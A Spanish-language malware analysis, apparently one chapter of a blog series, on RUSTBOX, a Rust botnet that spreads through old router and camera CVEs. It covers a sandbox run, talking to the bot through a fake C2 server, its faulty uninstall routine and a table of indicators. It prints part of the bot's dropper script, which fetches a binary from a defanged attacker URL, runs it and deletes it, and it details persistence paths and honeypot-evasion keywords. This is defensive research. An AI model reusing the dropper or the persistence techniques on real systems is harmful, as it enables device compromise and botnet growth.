Superior · Capítulo 37
Memory safe
El mismo servidor que repartía Superior sirvió un día otro bot, escrito en Rust y con un lema en la puerta: «memory safe. system optimized.». Lo metí en una jaula sellada, le hice creer que su servidor le contestaba, y me contó todo. Lo más útil no es lo que hace cuando le dan órdenes, sino lo que hace sin ellas.
El 8 de noviembre, entre dos versiones del instalador de Superior, la misma dirección sirvió otra cosa. El servidor se presentaba como Server: rustbox y el guion era más corto:
T="rustbox"
P=linux
if [ -d /data/local/tmp ] || [ -f /system/build.prop ]; then P=android; fi
U="hxxp://77.239.124[.]167:8080/rbx/$P-$A"
# Detach the node and cut its stdio: an ADB shell must never wait on a
# downloaded binary that is still running. The node re-execs from memfd
# before it daemonizes, so removing the on-disk copy is safe.
./"$N" "$T" >/dev/null 2>&1 </dev/null &
sleep 1
rm -f "$N"Mira si está en Android o en Linux y en qué procesador, baja el binario que toca, lo lanza con la etiqueta rustbox y borra la copia del disco. Y lo explica en el mismo inglés cuidadoso de los guiones de Superior, en este caso pensando en quien lo lanza por ADB.
Este bot no llegó al cebo. Los ocho binarios de /rbx/ los reportó otra persona a URLhaus ese mismo día, y de ahí los saqué de MalwareBazaar; el guion es la copia que guardó urlscan al escanearlo. Lo que hice yo con ellos empieza después. Lo primero que imprime al arrancar es su lema:
rustbox: memory safe. system optimized.RUSTBOX el segundo bot de la campaña de Superior
- sha256
- e77b2c68…25898
- Tipo
- Rust, rustc 1.99.1 del 13 de octubre de 2026; estático con musl en Linux, NDK en Android
- Builds
- ocho: Linux y Android para arm7, aarch64, x86 y x86_64, de 0,6 a 1 MB
- De dónde
- reportado por un tercero a URLhaus; recogido de MalwareBazaar
- Los antivirus
- «trojan.mirai», y «trojan.hajime/mirai» en otras builds: el mismo cajón genérico
01Lo que se ve sin encenderlo
Es un proyecto de Rust ordenado: un espacio de trabajo con dos piezas, el bot y una biblioteca común con la criptografía, y dentro del bot un módulo por tarea (las inundaciones, la persistencia, los informes, la autopropagación y la sesión con el servidor). Se compiló como root, con un compilador del 13 de octubre: RUSTBOX es de mediados de octubre o posterior. No hay nombres de usuario, rutas personales ni nada que señale a una persona.
A diferencia de Superior, no esconde su configuración: el servidor va en claro, coolcams.duckdns.org,77.239.124.167, al TCP 29444. Puesto al lado de Superior, se parece en lo que hace con la máquina y se separa en casi todo lo demás:
Superior RUSTBOX
lenguaje C Rust
servidor coolcams.duckdns.org el mismo, y la IP de respaldo
ADB fijo 12108 12108
supervisor /data/local/tmp/.srvc /data/local/tmp/.srvc
arranque se re-ejecuta desde memoria también
disfraz hilos del núcleo kworker/u8:2
perro guardián sí sí, y un vigilante aparte
configuración cifrada con XOR en claro
informes en claro, a puertos aparte dentro de la sesión cifrada
su servidor lo autentica no lo autentica
propagación Telnet con 45 contraseñas siete exploits de routers y cámaras
pantalla, apps,
robo de ficheros sí no
órdenes shell por su consola (apagada) sin shell, sin descargas, sin roboEsa última línea es importante: según su análisis estático, RUSTBOX no tiene orden de shell remota, ni de descarga, ni de ejecución arbitraria, ni de proxy, ni de robo de ficheros, ni de pantalla. Su servidor le puede pedir ataques, que los pare, cambios en su control interno, que repare su persistencia o que se retire, y comprobar que sigue vivo. Nada más.
Y la fila de su servidor, también. Superior lleva dentro la clave pública de su operador, y su sesión exige la clave privada de este. RUSTBOX no: no comprueba con quién habla. Cualquiera que ocupe el sitio de su servidor puede hablar con él. Eso es lo que me permitió hacerlo, y es lo que haría viable desviar sus conexiones a un sumidero y dejar al operador sin ellas. Cómo, exactamente, no lo cuento.
El mismo operador, con confianza alta: el mismo servidor y el mismo puerto de mando, el mismo puerto de ADB, el mismo supervisor, el mismo inglés y la misma dirección sirviendo un bot u otro según el día. Hay más: entre los puertos que RUSTBOX se niega a tocar está el 29596, el que Superior busca como superior-ui, y el instalador de Superior ya marcaba sus respuestas con RBX_. Que RUSTBOX descienda del código de Superior, en cambio, no lo puedo afirmar: el código es otro, y la criptografía, aunque usa las mismas piezas, está montada de otra manera. Puede ser una reescritura con el mismo diseño o un bot distinto que el mismo operador también maneja.
02En la jaula
La build de Linux para x86_64 la metí en una jaula hecha para esto: una máquina virtual sin tarjeta de red, con una red falsa dentro que contesta a todo, y un monitor dentro del núcleo que ve cada cosa que hace el bot, y protegido de él: cuando quiso mirar sus datos, el sistema se lo negó. La lancé como la lanza su guion, con la etiqueta rustbox, y la dejé cinco minutos. Casi dos millones de eventos, nueve procesos:
arranque imprime su lema, se copia a memoria y se re-ejecuta desde ahí
como kworker/u8:2
persistencia un servicio de systemd activado, init.d, rc.local, cron.d,
crontab con @reboot y el crontab de root, profile.d, .profile,
.bashrc, .zshrc y un autoarranque de escritorio
todo lanza /usr/local/bin/.rustbox boot, casi todo con la marca «# rustbox»
copias /usr/local/bin/.rustbox, /root/.rustbox, /tmp/.rbx, /var/tmp/.rbx
y /var/tmp/.rbx_<pid>
vigilancia un proceso aparte que vigila al principal por un latido en /dev/shm;
el propio bot abre además el perro guardián del sistema
puertos ocupa doce puertos que usan otros bots para que no los abran
rivales revisa los procesos uno a uno, decenas de miles de veces
servidor conecta a 77.239.124.167:29444, se presenta con un saludo de
52 bytes que empieza por RBX1, y espera
propagación 811.261 destinos en cinco minutos, a los puertos 80, 8080, 37215 y 52869Casi todo eso lo apunta en un registro propio, .rbx_ledger: las copias, los ficheros que crea y los que edita. Probablemente le sirve para reparar su persistencia si alguien la toca; seguro que le sirve, como veremos, para desinstalarse.
La propagación no es Telnet, como en Superior: son exploits web contra routers y cámaras. Además de direcciones al azar, prueba la red local: 192.168.0.1, 192.168.1.1 y 192.168.1.64, que es la IP de fábrica de las cámaras Hikvision. Cada exploit, si funciona, le hace a la víctima pedir un guion a coolcams.duckdns[.]org/s?t= con una etiqueta que nombra la vía por la que ha entrado. El mismo embudo de Superior, ahora por exploit.
Según su código, además, bloquea los intentos de reiniciar o apagar la máquina; en la jaula nadie lo intentó, así que eso no se vio. Tampoco probé que su persistencia aguante un reinicio, cosa que con Superior sí se vio en la tele.
El killer, que caza a 36 familias rivales, necesita una corrección mía. El monitor registró unas 74.000 comprobaciones sobre otros procesos y yo, al principio, las leí como intentos de depurarlos. No lo eran: son lecturas de datos del proceso (qué ejecutable corre, desde dónde, si su imagen está borrada o si corre desde memoria). Con eso puntúa a cada uno y, si decide que es un rival, lo mata. En una máquina limpia, no mató a nadie. Lo único que se le negó fue leer los datos del propio monitor.
Con el servidor no hubo más. La red falsa no habla su protocolo, así que pasó casi cuatro minutos sin respuesta. Para ver el resto, había que contestarle.
03Hablarle
Como RUSTBOX no comprueba con quién habla, escribí un servidor de mando de mentira y lo puse dentro de la misma jaula, donde la red falsa contestaba por su servidor. Ese programa no lo publico: el mismo código serviría para controlar bots reales. Y el guion que le di fue a propósito inofensivo: comprobar que estaba vivo, pedirle que reparara su persistencia y pedirle que parara. Ninguna orden de ataque.
Funcionó a la primera. El bot completó el saludo, aceptó a mi servidor como suyo y empezó a contarlo todo: unos 2.200 informes en una sesión. Estos son los que importan:
[SYS]|arch=x86_64|cores=2|ram=…|uid=0|root=1|pid=…|killer=1|kills=0|floods=0|selfrep=…|host=…
[PERSIST]installed=15|exe=/usr/local/bin/.rustbox|uid=0
[WATCHDOG]hw: off dev=/dev/watchdog id=rustbox
[LOCKER]squat=23,2323,7547,9001,6667,7777,4444,31337,37215,52869,3333,1337 # cada uno, «held»
[SELFREP]vec=…|name=…|ip=…|state=winEl [SELFREP] es el más útil, porque nombra cada vía de propagación con una etiqueta, y en cinco de las siete la etiqueta lleva el número del CVE. Siete vías, ocho CVE:
etiqueta aparato CVE
realtek_8361 routers con el SDK de Realtek (UPnP) CVE-2014-8361
gpon_10561 ONT GPON (Dasan) CVE-2018-10561 y CVE-2018-10562
hikvision_36260 cámaras y grabadores Hikvision CVE-2021-36260
draytek_8515 DrayTek Vigor 2960, 3900 y 300B CVE-2020-8515
tplink_1389 TP-Link Archer AX21 CVE-2023-1389
netgear_6077 Netgear DGN1000 CVE-2024-12847
huawei_hg532 Huawei HG532 (la vía de Satori) CVE-2017-17215Todas son inyecciones de órdenes en routers y cámaras, y viejas. Y hay una errata del autor: la etiqueta netgear_6077 remite a otra vulnerabilidad, de otro programa y que exige estar autenticado, pero lo que hace el código es el fallo del setup.cgi del DGN1000, que no pide nada: CVE-2024-12847, divulgado en 2013 y con número desde 2024. Lo confirmé por tres caminos: su rutina en el binario, las bases públicas y la petición que lanzó dentro de la jaula. Las peticiones exactas no las publico.
Un aviso para quien vea su contador. Dentro de la jaula me mandó más de 2.100 state=win en cinco minutos, porque la red falsa contesta a todo. Cualquier honeypot o sandbox que le conteste como si el exploit hubiera funcionado le infla la cuenta (aunque descarta las respuestas que mencionan cowrie, kippo, dionaea, glastopf, conpot, tarpit, canary, shadowserver, honeypot o sinkhole). Sus victorias no son infecciones.
Lo que no le pedí fue atacar. Los ataques, según su código, son cuatro familias (inundaciones UDP, conexiones TCP, paquetes TCP fabricados a mano y un cliente TLS) con variantes: 9 identificadores en su build de Linux para ARM64 y 27 en la de Android, que no son 27 técnicas distintas. Una de las variantes es una inundación HTTP/2 que imita a Chrome 131 con bastante cuidado, y eso deja huella: sec-ch-ua "Chromium";v="131", Accept-Encoding: gzip, deflate, br, zstd, upgrade-insecure-requests y el preámbulo PRI * HTTP/2.0. Hay otra HTTP/1.1, no hay HTTP/3, y lanza como mucho ocho ataques a la vez. Uno de los generadores UDP usa una plantilla con aspecto de SSDP; que sirva para amplificar no está comprobado.
Y queda un cabo suelto. Le envié por la sesión cifrada la orden de reparar su persistencia, pero no contestó con el informe de reparación que tiene en su código, y no tocó nada que no hubiera tocado ya. Puede que en esta build esa orden lleve otro número, o que no diga nada si la persistencia está intacta. No lo sé.
04Sin amo, igual
Lo más útil salió de comparar las dos detonaciones: la de la red muda y la de mi servidor de mentira. Son casi idénticas. Los mismos siete programas lanzados, más o menos los mismos ficheros abiertos, unas 811.000 conexiones de propagación en las dos, las mismas comprobaciones de procesos.
Es decir: la persistencia, la copia en memoria, los vigilantes, el killer, la ocupación de puertos y toda la propagación ocurren al arrancar, sin ninguna orden. Lo que añade un servidor vivo es poco: que el bot le cuente lo que hace y que ataque cuando se lo pidan.
De aquí sale una consecuencia práctica: bloquear su servidor, o desviarlo a un sumidero, no limpia una máquina infectada. Le quita al operador la vista y los ataques bajo demanda, que no es poco. Pero el bot sigue instalado, sigue defendiéndose y sigue intentando infectar a otras máquinas. Para limpiarla hay que tocar la máquina.
05Retirado no es limpio
RUSTBOX tiene una orden para retirarse. Su rutina se puede leer en el código, cruzarla con su registro y con lo que dejó en la jaula. Hace esto: para sus trabajos, mata a su vigilante, recorre su .rbx_ledger, desactiva el servicio de systemd, borra los ficheros que creó y, en los que editó, quita sus líneas marcadas. Al terminar, informa:
[PERSIST]state=clearedCaptura: la retirada, en GhidraGhidra
Y, según su código, no sería verdad del todo. Simulando su filtro sobre los ficheros de la jaula, esto es lo que quedaría:
/etc/crontab, /root/.bashrc, /root/.profile restaurados tal como estaban
/etc/rc.local, /root/.zshrc vacíos: los creó él, pero los apuntó como editados,
y al quitar sus líneas los deja en blanco
/var/tmp/.rbx_<pid>, el latido, el cerrojo la rutina no los toca: no están en el registro
el spool de cron no vuelve a como estaba antesHay dos detalles más. Si encuentra dos marcas seguidas, se lleva también la línea que va detrás de la segunda. Y el state=cleared puede salir aunque no haya podido borrar su propio registro: quiere decir que la rutina llegó al final, no que la máquina haya quedado limpia. Que un bot diga que se ha ido no es lo mismo que que se haya ido.
06Indicadores
Los de Superior están en los capítulos 35 y 36. Estos son los de RUSTBOX.
| Tipo | Valor |
|---|---|
| Reparto | hxxp://77.239.124[.]167:8080/rbx/{linux,android}-{arm7,aarch64,x86,x86_64} · cabecera Server: rustbox · guion /s con T="rustbox" que guarda el binario como .rbx.<plataforma>.<arquitectura> y lo borra tras lanzarlo |
| C2 | coolcams.duckdns.org y 77.239.124.167, TCP 29444 · saludo de 52 B que empieza por RBX1 |
| Segunda etapa de la propagación | hxxp://coolcams.duckdns[.]org/s?t=<vía> · vías realtek_8361, gpon_10561, hikvision_36260, draytek_8515, tplink_1389, netgear_6077, huawei_hg532 |
| CVE explotados | CVE-2014-8361 · CVE-2017-17215 · CVE-2018-10561 · CVE-2018-10562 · CVE-2020-8515 · CVE-2021-36260 · CVE-2023-1389 · CVE-2024-12847 |
| Persistencia Linux | rustbox.service (Restart=always) · /etc/init.d/rustbox y 99rustbox · crontab de root · /etc/rc.local · /etc/cron.d/rustbox · /etc/crontab (@reboot) · /etc/profile.d/rustbox.sh · .profile, .bashrc, .zshrc · ~/.config/autostart/rustbox.desktop · marca # rustbox · todo lanza /usr/local/bin/.rustbox boot |
| Persistencia Android (estático) | /system/etc/init/rustbox.rc · módulo Magisk /data/adb/modules/rustbox (author=rustbox) · /data/local/tmp/.srvc · ADB en TCP 12108 |
| Copias y ficheros | /usr/local/bin/.rustbox, /root/.rustbox, /tmp/.rbx, /var/tmp/.rbx, /var/tmp/.rbx_<pid> (en Android también /data/local/tmp/.rbx, /data/adb/.rbx, /data/data/.rbx, /sdcard/.rbx) · .rbx_ledger, .rbx_lock, /dev/shm/.rbx_hb_<pid>, .rbx_wd.lock |
| Procesos | kworker/u8:2 desde memoria · un segundo proceso con --watchdog · abre /dev/watchdog |
| Puertos ocupados | 23, 2323, 7547, 9001, 6667, 7777, 4444, 31337, 37215, 52869, 3333, 1337 |
| Flood HTTP/2 | sec-ch-ua "Chromium";v="131" · Accept-Encoding: gzip, deflate, br, zstd · upgrade-insecure-requests · preámbulo PRI * HTTP/2.0 |
| Cadenas | rustbox: memory safe. system optimized. · etiquetas de informe [SYS], [PERSIST], [WATCHDOG], [LOCKER], [SELFREP], [KILL], [REBOOT]|state=blocked, [BW], [CTL], [REPAIR] · variables RUSTBOX_NO*, RBX_TAG, RBX_MEMFD |
| SHA-256 | linux-x86_64 e77b2c6872dda6b1588160c640ee7906231d2acfe70a8dd5676f5ccff3825898 · linux-aarch64 28cd43f5dd1aaf575f067fa9eac5d999ddc26b35c5809d427a6cc137e4713555 · android-aarch64 a0ddfe358cad4c8083714756fc154141e1ec12015b59c512d232f82437a695c5 · /s 17e90ec85b3da3ef6bad84d0a04af7b648a385364c9a77ee1a3a2f58836a5322 · otra build de .rbx.linux.x86_64 que VirusTotal vio el 7-nov (no analizada) 88466d25ef2de742baad70b68f65e0d3d0f1741723a2ee44043f273b8591b8f2 |
En una máquina infectada, que haya dejado de hablar con su servidor no quiere decir nada. Lo que lo delata está en la propia máquina: un kworker/u8:2 que no es del núcleo, doce puertos de bots ocupados por un mismo proceso y un .rbx_ledger que lleva la cuenta de todo lo que tocó.
Continuará - el cebo sigue encendido. Si el operador decide qué bot le toca a cada caja, la próxima que llame a la puerta dirá cuál. 🍯

Comentarios